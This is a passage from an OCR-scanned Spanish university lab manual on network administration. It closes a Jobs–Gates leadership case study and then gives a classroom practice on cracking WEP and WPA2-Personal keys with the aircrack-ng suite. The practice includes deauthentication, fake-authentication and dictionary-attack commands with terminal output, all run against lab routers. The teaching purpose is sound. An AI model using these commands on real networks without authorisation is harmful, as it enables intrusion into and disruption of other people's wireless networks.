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En 1985, John Scully, director general de Pepsi Cola sustituyé a Steve Jobs como presidente y director
general de Apple Computer.

La década de los 90 vio a Microsoft y Apple tomar muy distintas direcciones. Microsoft se convirtié en una
de las companias mds lucrativas del mundo. Jobs fundé NEXT, una empresa fabricante de computadoras
y PIXAR, la empresa de animacién que ha producido Toy Story y A Bug’s Life.

Jobs cambié el modelo de negocio de la industria musical: aprobd el lanzamiento del iPod en 2001 y en
2003 iTunes, que en siete afios vendid mds de 10 000 millones de canciones y dominé completamente el
negocio de musica en linea. En 2009 acapard el 25 por ciento de la venta de musica en los Estados Unidos
y es la mayor tienda musical por volumen de ventas de la historia. Segtin el registro de patentes de los
Estados Unidos, 317 patentes de Jobs figuran a nombre de Apple. Otra de sus aportaciones fue el iPhone,
el cual se puso a la venta en el mercado estadounidense el 29 de junio de 2007.

En el afio de su muerte, su fortuna se valoraba en 8300 millones de ddlares y ocupaba el puesto 110 en la
lista de grandes fortunas de la revista Forbes.

4.2.3 Microsofty Apple, al final del siglo

Apple tomé una direccion opuesta, el anticuado sistema operativo y la caida en la participacion del
mercado condujeron a una disminucion del desarrollo para el software en Mac. En 1998 Jobs regresé a
Apple, como director general interino. Su vision, una vez mds resulté en la innovadora iMac. El disefio era
cldsico de Jobs. Desarrollé una computadora simple, elegante y compatible con Internet para agregar
algo de emocion al mercado de las computadoras. Jobs también cambié como administrador y lider.
Madurd y solicité a su grupo de asesores profesionales consejos e ideas. Aunque fue el director general
interino, Jobs vendié todas menos una de sus acciones. Larry Ellison, director general de Oracle y miembro
de la junta directiva de Apple, atribuye a Jobs, en cuanto a la direccién de Apple, el siguiente hecho:

“Si bien posee sélo una accién de Apple, Jobs claramente es duerio del producto y la idea de la compaiiia.
Mac es una expresion de su creatividad y Apple, como un todo, es una expresién de Steve. Esta es la razén
por la que a pesar de la palabra interino en su titulo, permanecerd en Apple durante largo tiempo.”

El 24 de agosto de 2011 Jobs presenté su renuncia como CEO de Apple, y fue sustituido por Tim Cook. A
partir de esta fecha y hasta su muerte, fue el presidente de la Junta Directiva de Apple. Jobs presenté
publicamente el iPad 2, sin embargo, desde su residencia seguiria ocupdndose de las decisiones mds
relevantes de la compariiia. Tras su muerte, el Apple Watch, el primer smartwatch creado por Apple, fue
presentado el 9 de septiembre de 2014 por Tim Cook.

Con el éxito del sistema operativo Windows, la serie de aplicaciones Office y el software Internet Explorer,
Microsoft se ha convertido en una palabra familiar. Bill Gates ha sido aclamado como genio de los
negocios.

Seguido del lanzamiento de los teléfonos inteligentes con sistema operativo Windows, Microsoft se enfocé
en un cambio de imagen de sus productos desde el 2011 al 2012; el logo de la compaiiia, productos,
servicios y el sitio web de Microsoft adoptaron el concepto del disefio Metro. En junio de 2011 en la
conferencia anual de Taiwdn Computex Microsoft mostré al publico su nueva version de Windows, un
sistema operativo disefiado para computadores de escritorio, portdtiles y tabletas. Una versién para
desarrolladores (Developer Preview) fue lanzada en septiembre 13 del mismo afio y el 31 de mayo de
2012 fue lanzada la version de prueba.
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En este afio Microsoft, con ayuda de usuarios avanzados llamados Insiders, lanzaron la tltima version de
su linea de sistemas operativos. Esta version se llama Windows 10, que segiin Microsoft es la mejor version

desarrollada.

El hecho de que los competidores de Microsoft, la prensa y el Departamento de Justicia de Estados Unidos
hayan llamado a Microsoft un monopolio, refuerza la determinacion de éxito en Gates.

6. ;Como difieren Bill Gates y Steve Jobs en su estilo de liderazgo?

7. Comparey contraste las prdcticas administrativas de Gates y Jobs.

8. (Cudl es su opinion sobre el futuro de Microsoft y Apple Computers?

9. Para usted, ;cudl es la esencia del liderazgo?

10. Si usted fuera elegido para ser lider de grupo en un proyecto de clase, ;qué conducta

adoptaria con aquellos elementos conflictivos del grupo? ;por qué?

11. Haga una interpretacion del siguiente pdrrafo y dé un ejemplo prdctico de su aplicacion:

“En una organizaciéon no se puede gobernar a los hombres, sino dirigir hacia unos objetivos a
hombres que se gobiernan a si mismos.”

Stephan Cambien
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4.2.4 El profesor o la profesora realizard diversas actividades para que en equipos identifiquen
los conflictos que se presentan en ciertas situaciones y la mejor forma de solucionarlos.
Cada equipo deberd anexar a esta prdctica las hojas con sus resoluciones.

5. Conclusiones
Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.
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ouhs W

PRACTICA 8

Manejo de conflictos en el area de redes

Cuestionario Previo

;Qué es un proceso administrativo?
¢;Cudles son las cinco etapas del proceso administrativo?

¢;Cudles son las habilidades directivas del administrador de redes?
Defina el concepto de conflicto e investigue al menos 5 tipos de conflictos en el ambito laboral.
Defina el conflicto funcional
Defina el conflicto disfuncional
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Practica 9

Ruptura de claves WEP y WPA2-

Personal

Control
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1.- Objetivos de Aprendizaje

e El alumno o la alumna realizara un ataque informatico explotando las vulnerabilidades de los
cifrados WEP y WPA2 para obtener sus respectivas claves.
e El alumno o la alumna conocera la importancia de la asignacion de claves robustas en los
dispositivos (Access Points) para incrementar la seguridad de éstos.

2.- Conceptos teoricos

El término seguridad cotidianamente se refiere a la ausencia de riesgo o a la confianza en algo o en
alguien. Sin embargo, puede tomar diversos sentidos segun el drea o campo al que haga referencia.

La Seguridad informdtica se define como un conjunto de medidas que impidan la ejecucion de
operaciones no autorizadas sobre un sistema o red informatica, estas medidas son un conjunto de

reglas, planes, actividades y herramientas.

La operaciéon no autorizada en un sistema informatico puede dafiar la informacién, comprometer la
triada de seguridad (confidencialidad, autenticidad, integridad), ademdas de llegar a disminuir el
rendimiento de los equipos, desactivar los servicios o bien bloquear el acceso a usuarios autorizados.

El sistema Wi-Fi es uno de los medios mas utilizados para conectarse a Internet, lo que cual no implica
que sea el mas seguro. El no contar con una cultura de buenas practicas al momento de realizar la
conexion, permite que haya vulnerabilidades disponibles para intrusos, dando como resultado el dafio

del sistema.

El cifrado WEP es poco segura ya que es abierta y cualquiera puede tener acceso a la clave del Wi-Fi,

que se esta utilizando.

El cifrado WPA Enterprise es la mas segura, pero poco conocido, consiste en guardar el usuario y la
contrasefia en un servidor especial y dedicado para este servicio.

El cifrado mas recomendada es WPA/WPA2, ya que la clave Gnicamente se puede obtener por medio
de un ataque conocido como fuerza bruta, este ataque se realiza ocupando un diccionario con varias

claves de router haciendo que alguna coincida.

WPA es un sistema para proteger las redes inalambricas (Wi-fi), creado para corregir las deficiencias
del sistema. Adopta la autenticacion de usuarios mediante el uso de un servidor, donde se almacenan

las credenciales y contrasefias de los usuarios de la red.

WEP es el acronimo de “Privacidad Equivalente a Cableado” este sistema de cifrado se encuentra
incluido en el estandar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la

informacién que se transmite.

128



http://es.wikipedia.org/wiki/Riesgo

\NGENIERI4 Cddigo: MADO-32
Manual de practicas del Ve’rs!on: 05
. . iy Pagina 129/189
Laboratorio de Administracion v
Secciéon ISO 8.3
de Redes Fecha d
echa de 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

La vulnerabilidad mas importante que existe es la de dejarle la clave por defecto que trae el fabricante,
este tipo de claves vienen incluidas en los diccionarios existentes, lo que hace que sea mas facil el

ataque.

Para realizar el andlisis, Kali cuenta con la suite Aircrack la cual se especializa en la recoleccion e
inyeccion de paquetes y el calculo del ataque mediante ataques especificos.

Dentro de esta suite hay cuatro utilidades importantes:

a) Airmon-ng: Ayuda a poner al interfaz en modo monitor (modo sniffer).

b) Airodump-ng: Detecta y recopila informacién de las redes cercanas a la interfaz de la red.

c) Aireplay-ng: Permite inyectar trafico, desconectar usuarios y falsear autenticaciones en los
puntos de acceso.

d) Aircrack-ng: Es un analizador de paquetes que permite calcular la clave con base en la
informacién proporcionada por aidodump-ng.

Se recomienda la desactivaciéon de WPS para eliminar esta vulnerabilidad, algunos proveedores han
desarrollado guias especiales para su desactivacion.

3.- Equipo y material necesario

Equipo del Laboratorio:

e Routers inalambricos Linksys E900

Equipo del alumno o la alumna:
e Memoria USB booteable con sistema operativo Kali Linux, el profesor o la profesora definira la

version.

e Archivo electréonico de un diccionario para realizar un ataque de fuerza bruta (El archivo de
Diccionario en Espafiol puede descargarlo desde la misma ubicacién que la practica).

4.- Desarrollo:

Modo de trabajar

Esta practica se realizara por parejas
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NOTA: Las actividades en este apartado serdn meramente demostrativas haciendo uso de un video
como base y las explicaciones del profesor o profesora cuando la sesion de la clase se realice en
modalidad a distancia.

4.1 Cifrado WEP

NOTA PARA EL PROFESOR O LA PROFESORA

Abra un navegador Web y escriba la direccién IP 192.168.1.1 en el campo del URL (ver Figura
No. 1).

Se requiere autenticacion

http://192.168.1.1 necesita un nombre de usuario y una
contrasefia,

Tu conexion con este sitio no es privada.
Nombre de usuario: admin
Contrasefa:

Iniciar sesion Cancelar

Figura No. 1. Solicitud de usuario y contrasefia

Coloque como nombre de usuario: admin y contrasefia: admin.

4.1.1 Hagaclic en el menu de Wireless = Wireless Security.
4.1.2 Coloque en Network Name (SSID) el nombre que prefiera para identificar al dispositivo.
4.1.3 Enlaopcion Wireless 2 Wireless Security habilite el modo de seguridad en WEP.

4.1.4 Con base en la tabla 1.1 llene los campos indicados, cuando coloque la frase haga clic en el
botdn Generate.

Tabla 1.1. Parametros de seguridad.

Nombre Valor
Security Mode | WEP
Encrytion 40/64 bits
Passphrase
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NOTA 1: En Passphrase coloque una palabra clave que se encuentre contenida en el diccionario.
NOTA 2: Recuerde generar trafico en la red.
4.2 Realizando el ataque del cifrado WEP

4.2.1 Abra una terminal de Kali, verifique que la interfaz de red inaldmbrica sea wlan0. Tal como se
muestra en la figura No. 2. Para ello teclee el siguiente comando

NOTA: Para realizar la practica exitosamente debe tener instalado el paquete ifconfig.

root@Kkali# ifconfig

Archivo Editar Ver Buscar Terminal Ayuda
root@kali:~# ifconfig
eth@: flags=4099<UP,BROADCAST ,MULTICAST> mtu 1560
ether a0:8c:fd:7e:a7:a4 txqueuelen 1800 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped 8 overruns @ frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors © dropped @ overruns 0 carrier @ collisions @

lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.6.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x18<host>
loop txqueuelen 1 (Local Loopback)
RX packets 18 bytes 16858 (1.0 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 18 bytes 1058 (1.0 KiB)
TX errors © dropped @ overruns @ carrier 8 collisions @

wlanB: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560
inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 feB80::49bd:8807:337c:7317 prefixlen 64 scopeid Ox28<link>
ether ac:2b:6e:67:54:80 txqueuelen 1000 (Ethernet)
RX packets 36 bytes 14094 (13.7 KiB)
RX errors @ dropped 8 overruns © frame @
TX packets 46 bytes 6660 (6.5 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0@

Figura No. 2. Terminal.

4.2.2 Unavez que ya se identifico la interfaz de red inalambrica wlan0 es importante colocarla
en modo monitor. Para ello ejecute los siguientes comandos.
root@kali:~# airmon-ng stop INTERFACE

NOTA: Donde INTERFACE es el identificador de la tarjeta inalambrica (Figura No. 3).
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Archivo Editar Ver Buscar Terminal Ayuda
root@kali:-# airmon-ng stop wlan®

PHY Interface Driver Chipset

phy® wlan® iwlwifi Intel Corporation Wireless 3165 (rev 81)
You are trying to stop a device that isn't in monitor mode.

Doing so is a terrible idea, if you really want to do it then you

need to type 'iw wlan@ del' yourself since it is a terrible idea.

Most likely you want to remove an interface called wlan[8-9]mon

If you feel you have reached this warning in error,
please report_it.

Figura No. 3. Empleando el comando airmon-ng
root@Xkali:~# airmon-ng start INTERFACE

NOTA: Donde INTERFACE es el identificador de la tarjeta inalambrica (Figura No. 4). En
caso de existir un problema por los procesos que estan corriendo, teclee primero

root@Kkali:~# airmon-ng check kill
y posteriormente

root@Kkali:~# airmon-ng start INTERFACE

r

Archivo Editar  Ver Buscar Terminal Ayuda
root@kali:-# airmon-ng start wlan@
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
535 NetworkManager
749 wpa_supplicant
862 dhclient
PHY Interface Driver Chipset
phy@ wlan@ iwlwifi Intel Corporation Wireless 3165 (rev 81)

(mac86211 monitor mode vif enabled for [phy@]lwlan® on [phy@]wlanBmon)
(macB80211 station mode vif disabled for [phy@]wlan0)

Figura No. 4. Empleando el comando airmon-ng

Indique lo que observa al teclear cada uno de los comandos, ;cudl es el objetivo de haberlos ejecutado?
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4.2.3 Teclee el siguiente comando para ver el nuevo nombre de la interfaz en modo monitor (Figura
No. 5).

root@Kkali:~# ifconfig

Archivo Editar Ver Buscar Terminal Ayuda
root@kali:-# ifconfig
eth@: flags=4899<UP,BROADCAST, ,MULTICAST> mtu 1508
ether aB:8c:fd:7e:a7:a4 txqueuelen 1880 (Ethernet)
RX packets @ bytes 8 (0.0 B)
RX errors @ dropped @ overruns @ frame ©
TX packets 8 bytes 0 (8.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.6.8.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @xlB<host>
loop txqueuelen 1 (Local Loopback)
RX packets 18 bytes 1058 (1.8 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 1B bytes 1058 (1.0 KiB)
TX errors 8 dropped © overruns @ carrier ® collisions 8
wlan@mon: fTlags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560
unspec AC-2B-6E-67-54-80-30-3A-00-00-00-00-00-00-60-00 txqueuelen 1080 (UNSPEC)
RX packets 318 bytes 84436 (82.4 KiB)
RX errors @ dropped 318 overruns @ frame @

TX packets 8 bytes @ (0.0 B)
TX errors © dropped € overruns © carrier @ collisions ©

Figura No. 5 Ejecucion del comando ifconfig
4.2.4 Busque las redes inalambricas cercanas mediante el comando siguiente (Figura No. 6)
root@Kkali:~# airodump-ng INTERFACE_MODOMONITOR

NOTA: Donde INTERFACE_ MODOMONITOR es el identificador de la tarjeta inalambrica en
modo monitor.

Archive Editar Ver Buscar Terminal Ayuda
root@kali:~# airodump-ng wlanElmurD

Figura No. 6 Buscando redes cercanas

Debera salir algo parecido a la Figura No. 7:
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Archive Editar Ver Buscar Terminal Ayuda

CH 13 ][ Elapsed: 6 s ][ 2017-86-28 86:21

BSSID PWR Beacons #Data, #/s CH MB
CB:B3:73:39:F0:7E -37 11 3] 8 1 5de
00:23:CD:20:AF:42 -44 12 71 8 11 Sde.
EC:08:6B:C4:1E:53 -58 11 1 8 11 54e.
(0:56:27:6E:05:64 -64 7 £ 8 1 5de.
EB:DE:27:DF:A1:92 -66 10 2} 8 11 S5de.
00:23:EB:6B:CD:AC -66 7 163 17 4 54e
00:13:F7:8C:7E:C2 -69 13 2] B 6 5de
BC:85:56:AD:E0:31 -72 16 2} 8 6 5de.
(0:56:27:D0:87:40 -73 8 2] B8 3 54e
(B:B3:73:39:DF:95 -77 B 2] 8 11 5de
08:108:76:42:CF:1D -74 51 36 9 11 54e
AC:16:2D:D7:83:C8 -77 9 52 5 4 54e
B80:1F:02:62:8E:3C -76 14 2] 8 11 5de
00:0B:86:07:D6:A0 -79 9 3 8 6 54
80:1F:02:19:3C:9A -84 8 2] 8 11 54e
B80:1F:02:7E:D9:88 -85 2 2] 8 11 5de
00:1C:FO:F1:42:3A -87 2 8 8 2 54
28:92:4A:15:52:AB -88 1 7 B 6 5de
28:92:4A:15:A2:E0 -86 2 12 2 6 5S4e
00:0B:86:AD:1E:20 -88 4 2] 8 1 54
BSSID STATION PWR  Rate Lo
(not associated) 88:79:7E:57:1B:808 -88 8 -1

(not associated) 6C:FD:B9:5E:DA:61 -36 6 -1

{not associated) DO:DF:9A:84:18:99 .82 8 -1
00:23:CD:20:AF:42 88:79:7E:11:28:BE -54 Be- Be
00:23:CD:20:AF:42 70:14:A6:53:8F:D9 -37 Be- Be
EC:08:6B:C4:1E:53 A4:5E:60:C0:6C:C9 -67 8 -24e
00:23:EB:6B:CD:AC 60:E3:AC:AF:E3:E4 -78 Be- Be
00:23:EB:6B:CD:AC 6C:FD:B9:5E:D2:73 -64 6e- le
80:23:EB:6B:CD:AC OC:84:DC:F6:68:C7 -72 Be- Be
08:10:76:42:CF:1D 94:0C:6D:AZ2:B4:55 -76 8-1
08:10:76:42:CF:1D ©0:18:6E:C2:AE:98 -61 0 -48e
00:0B:86:07:D6:A0 90:48:9A:F3:6E:Al -1 l1-86
00:0B:86:AD:1E:20 A4:71:74:B9:24:5A -66 0 -2
00:0B:86:AD:1E:20 84:2E:27:4B:84:98 -79 -2

L

ENC CIPHER AUTH ESSID

WPA2
WPA2
WPA2
WPA2
WPA2
WPA2
WPA2
WPA2
WPA2
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. WPA2

st
[:]
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[:]
[:]
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[:]
]
11
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]
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[:]

;]
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CcCcHp
ccup
Cccup
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ccvp
CccHp
Cccup
ccup
Cccup
ccup
ccup
CCcHp
TKIP
ccup
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ccMp
CCcup
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PSK
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PSK
PSK
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PSK
PSK
PSK
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PSK
PSK
PSK
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Probe

UNICA
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LabRyS

RED LPDIZ
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POSGRADO-N

WPG-360

RIU

Transporte WPG-360
Laboratorio de Transporte
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POSGRADO-N

POSGRADO-N

RIU

Figura No. 7. Biusqueda de redes inalambricas.

Analice los resultados obtenidos

4.2.5 Una vez que se registre en la lista la red que se desea atacar se debe poner atencién en los
campos BSSID (direccion MAC del punto de acceso), CHANNEL (canal de transmisién) y ESSID
(nombre de la red). Detenga la auditoria de redes con CTRL+C. Ejecute nuevamente airodump-
ng con los datos recolectados (Figura No. 8):
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root@kali:~# airodump-ng --bssid BSSID -c CHANNEL -w ARCHIVO INTERFACE

Archivo Editar Ver Buscar Terminal Ayuda
root@kali:-# airodump-ng --bssid C8:B3:73:39:F0:7E -c 1 -w hola wlan@morD

Figura No. 8. Ejecucion de airodump-ng.

Donde ARCHIVO especifica el nombre de un fichero que se creard y guardara por defecto como
ARCHIVO-01.cap extension.cap en el cual airodump almacenara los paquetes capturados de
la red. Esta terminal debera permanecer activa durante el ataque. En la pantalla aparecera la
informacién como en la Figura No. 9.

NOTA: El profesor o la profesora debera generar trafico conectandose
inalambricamente al dispositivo en cuestion.

Archivo Editar Ver Buscar Terminal Ayuda

CH 1 ][ Elapsed: 2 mins ][ 2017-86-28 06:50 ][ 151 bytes keystream: C8:B3:73:39:F1:47
BSSID PWR RXQ Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
CB:B3:73:39:F1:47 -27 160 1718 11528 5 1 54e WEP WEP SKA (Cisco32210

BSSID STATION PWR  Rate Lost Frames Probe
(8:B3:73:39:F1:47 70:14:A6:53:BF:D9 -41 54e-12 ¢ 1283
C8:B3:73:39:F1:47 88:79:7E:11:28:BE -45 54e- 6 8 12987 C(Cisco32218

Figura No. 9. Captura de datos.

II.  Analice los resultados obtenidos
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4.2.6 Abra una nueva terminal, donde aplicard una falsa autenticacién, con el objetivo de que el
punto de acceso confie en la interfaz atacante. Esto se realiza con la siguiente instruccion:

root@Kkali:~# aireplay-ng -1 @ -a BSSID -h MAC_FALSA INTERFACE
Se enviard una falsa autenticacién una vez al punto de acceso. El parametro MAC_FALSA

permite ocultar la direccion MAC real de la interfaz inaldmbrica que estd conectada al
dispositivo. Véase la figura No. 10.

root@kali; ~ @ 0 a
Archivo Editar Ver Buscar Terminal Ayuda
root@kali:-# aireplay-ng -1 0 -a C8:b3:73:39:f1:47 -h 70:14:a6:53:8f:d9 wlan@Gmon
The interface MAC (AC:2B:6E:67:54:80) doesn't match the specified MAC (-h}.

ifconfig wlanBmon hw ether 70:14:A6:53:8F:D9
86:57:33 Waiting for beacon frame (BSSID: CB:B3:73:39:F1:47) on channel 1

06:57:33 Sending Authentication Request (Open System) [ACK]
06:57:33 Authentication successful
06:57:33 Sending Association Reguest

06:57:38 Sending Authentication Request (Open System)
06:57:40 Sending Authentication Request (Open System) [ACK]

B6:57:40 Authentication successful
06:57:40 Sending Association Request

06:57:46 Sending Authentication Request (Open System)
06:57:49 Sending Authentication Request (Open System)
06:57:52 Sending Authentication Request (Open System)
B86:57:55 Sending Authentication Request (Open System)

B6:57:58 Sending Authentication Request (Open System)
Figura No. 10. Autenticacién de la MAC.

4.2.7 Enunanueva terminal verifique el nombre del archivo para escribirlo correctamente con todo
y extension al emplear el siguiente comando, sustituir el nombre completo del archivo
(ARCHIVO-01.cap) en ARCHIVO.

Donde ARCHIVO es el nombre del fichero que se cred y guardé por defecto con extension.cap,
por lo cual se necesitara realizar un listado de archivos con el siguiente comando para saber el

nombre completo del ARCHIVO (Figura No. 11).

root@kali:~# Is
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root@kali: ~ (-]

Archivo Editar Ver Buscar Terminal Ayuda

root@kali:~# 1s
hola-01.kismet.csv
hola-01.kismet.netxml
HOla mundo.xml

hola-01-C8-B3-73-39-F1-47.xor

hola-01.cap

hola-01.csv yersinia.log

Figura No. 11. Listado de archivos

4.2.8 Ejecute aircrack-ng para comenzar a obtener la clave de acceso a la red. Véanse las figuras No.
12y 13.

root@Kkali:~# aircrack-ng -b BSSID -z ARCHIVO

root@kali; ~

Archivo Editar Ver Buscar Terminal Ayuda
root@kali:~# aircrack-ng -b CB:B3:73:39:F1:47 -z hola-01.cap |:|

Figura No. 12 Ejecucion de aircrack-ng

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Aircrack-ng 1.2 rcd

[00:00:01] Tested 558175 keys (got 1769 IVs)

KB depth  byte(vote)
6 16/ 19 E9(3072) 03(2816) 26(2816) 2C(2816) 74(2816)
1 28/ 29 E8(2816) 08(2560) 12(2560) 2A(2560) 36(2560)
2 25/ 2 EE(2816) 16(2560) 1C(2560) 26(2560) 39(2560)
3 20/ 3 E6(2816) 06(2560) 29(2560) 38(2560) 87(2560)
4 20/ 21 FO(2816) 12(2560) 37(2560) 41(2560) 47(2560)

KEY FOUND! [ DF:09:

Decrypted correctly: 100%

7A:84:C3 ]

Figura No. 13. Deduccion de clave.
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Ill. Indique a que hace referencia la informacion obtenida en pantalla y ; cudl fue el resultado
final?

Si el nimero de vectores de inicializacion es suficiente, entonces la clave aparecera en poco tiempo. De
lo contrario, el ataque se reinicia cada que se colecten 5000 vectores de inicializacidon.

4.3 Cifrado WPA2

NOTA PARA EL PROFESOR O LA PROFESORA

Haga clic en el menu de Wireless = Wireless Security.

Coloque en Network Name (SSID) el nombre que prefiera para identificar al dispositivo..

En la opcion Wireless 2 Wireless Security habilite el modo de seguridad en WPA2-Personal.

Con base en la tabla 1.2 llene los campos indicados, cuando coloque la frase haga clic en el botén
Generate.

Tabla 1.2. Parametros de seguridad.

Nombre Valor

Security Mode | WPA2-Personal
Encrytion 40/64 bits
Passphrase

NOTA: En Passphrase coloque una palabra clave que se encuentre contenida en el diccionario

4.3.1 Para realizar la ruptura de claves del protocolo WPA2, es necesario repetir los pasos 4.2.1 al
4.2.5.
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4.3.2 En una nueva terminal se aplicard una desconexién a alguna estaciéon de trabajo con la
intenciéon de capturar el 4-way handshake, que la estacion autorizada y el punto de acceso
realizan para acordar comunicarse. La desconexion se realiza con aireplay (Figura No. 14).

root@Kkali:~# aireplay-ng --deauth 0 -a BSSID -c MAC_CLIENTE INTERFACE

Archivo Editar Ver
root@kali:~# aireplay-ng --deauth 6 -a C8:B3:73:39:F0:7E -c 6C:FD:B9:5E:D9:73 wlanamorﬂ

Buscar

Terminal  Ayuda

Figura No. 14 ejecucion de aireplay

Donde BSSID es la direccidn fisica del punto de acceso y MAC_CLIENTE es la direccioén fisica
del dispositivo conectado a la red WPA que se desconectara; es necesario que al menos un
cliente esté conectado a la red para capturar su 4-way hanshake (Figura No. 15).

.

Archivo Editar Ver

root@kali:-# aireplay-ng
for beacon frame (BSSID: CB:B3:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:
STHAC:
STMAC:
STMAC:
STMAC:
STMAC:
STMAC:

a7:
87:
07:
07:
a7:
e7:
B7:
07:
B7:
a7:
B7:
e7:
B7:
a7:
87:

68:19

08:
08:
08:
88:
08:
88:
08:
124
124
+25
:25
126
:26
127
127
128
:28
:29
129
:308
138
:31

20
20
21
21
22
22
23

Waiting
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending
Sending

Buscar Terminal Ayuda

64
64
64
64
64
64
64
64
64
b4
64
64
64
64
64
64
64
64
64
64
64
64

directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed

DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
Dehuth.
DeAuth.
DeAuth.
DeAuth.
Defuth.
Dehuth.
DeAuth.
Dehuth.
DeAuth.
DeAuth.
DeAuth.
Debuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.

[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:
[6C:

39

--deauth 8 -a C8:B3:73:39:F0:7E
13:
FD:
FD:

:FB:
B9.
BO:
:B9:
:B9:
:B9:
:B9:
:B9:
:B9:

5E
5E
BE

-¢ 6C:FD:B9:5E:D9:73 wlanBmon
channel 1

7E) on
:D9:
:09:
:D9:
:09:
HIE
:09:
:D9:
:09:
73]
:73]
73]
1713]
73]
3131
173]
s3]
:73]
313]
173}
i
:73)
1731

73]
73]
73]
73]
73]
73]
73]
73]

54
51
54
159
|55

e ey [y Py Py P ) ) P ) ey P P ) P ) ) R
OO0 OHODODODOODODON

=

w

o
(N

ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs )
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]

Figura No. 15 Captura del 4-way handshake

4.3.3 Una vez capturado el handshake se requiere el auxilio de un diccionario para atacar los
mensajes cifrados que se han capturado en el archivo airodump.

Un diccionario es un archivo de texto que contiene palabras frecuentemente utilizadas como
claves. Puesto que el ataque es la aplicacion de la fuerza bruta, el tiempo para encontrar la clave
es variable y no necesariamente se tendra éxito. La sintaxis de aircrack en este caso es la
siguiente (Figura No. 16):
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root@Kkali:~# aircrack-ng -b BSSID -w DICCIONARIO -z ARCHIVO

r

root@kali: ~

Archive Editar Ver Buscar Terminal Ayuda
root@kali:~# aircrack-ng -b C8:B3:73:39:F1:47 -w Spanish.dic -z h01a2—01.capD

Figura No. 16 Ejecucion de aircrack

e e

Donde DICCIONARIO es el archivo de texto que contiene las palabras a probar como posibles
claves y ARCHIVO el ARCHIVO-0l.cap que contiene las tramas capturadas junto con los
paquetes especiales del 4-way handshake.

IV.  Indique a qué hace referencia la informacion obtenida en pantalla y ;cudl es el resultado

final?.

5.- Cuestionario

1. Mencione la importancia de manejar claves seguras

2. Mencione al menos tres beneficios de usar la suite de Aircrack.
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6.- Conclusiones

Anote sus conclusiones revisando los objetivos planteados al inicio de la practica.
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PRACTICA 9

Ruptura de claves WPA2 Y WEP

Cuestionario Previo

;Qué es 4-way handshake?.
Mencione las vulnerabilidades de WPA.

manera?

¢;Para poder realizar el ataque se necesita forzosamente el diccionario? o ;Existe alguna otra

;Este tipo de ataques se pueden realizar en otras distribuciones de Linux? ;Por qué?
Abra una terminal de Kali (en modo de stiper usuario), y verifique que en su dispositivo detecte

la interfaz de red (wlan0) inaldmbrica con el comando ifconfig como se muestra en la figura A.

Archivo Editar Ver Buscar Terminal Ayuda

root@kali:-# ifconfig

eth@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether a0:8c:fd:7e:a7:a4 txqueuelen 1000
RX packets © bytes @ (0.0 B)

(Ethernet)

RX errors © dropped @ overruns @ frame ©

TX packets B8 bytes 0 (6.0 B)

TX errors 8 dropped @ overruns @ carrier @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128
loop txqueuelen 1 (Local Loopback)
RX packets 18 bytes 1058 (1.8 KiB)
RX errors @ dropped 0

TX packets 18 bytes 1058 (1.0 KiB)

TX errors 8 dropped @ overruns @ carrier @

wlan®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 192.168.1.183 netmask 255.255.255.0
ineté feBO::49bd:8807:337c:7317 prefixlen
ether ac:2b:6e:67:54:80 txqueuelen 1060
RX packets 36 bytes 146094 (13.7 KiB)

RX errors @ dropped 0 overruns @
TX packets 46 bytes 6660 (6.5 KiB)

TX errors @ dropped © overruns @ carrier @

Figura A. Terminal.

6.

collisions @

scopeid 0x10<host>

overruns 8 frame @

collisions @

mtu 1500
broadcast 192.168.1.255
64 scopeid Ox20<link>

(Ethernet)

frame @

collisions @

Investigar por qué es necesario colocar una interfaz inaldmbrica en modo monitor
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Practica 10

Mecanismos de Seguridad, Firma

Digital

Control
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1. Objetivos de Aprendizaje

e Elalumno o la alumna se familiarizara con herramientas basicas relacionadas con la seguridad
en lared, las cuales podran ser estudiadas a profundidad en subsecuentes materias.

e E] alumno o la alumna realizard una aplicaciéon que permita el proceso de firmado de un
documento a través de la infraestructura de claves asimétricas, en el lenguaje orientado a
objetos Java.

2. Conceptos teoricos

En diversas organizaciones, tanto publicas como comerciales, el uso de Internet se ha convertido en
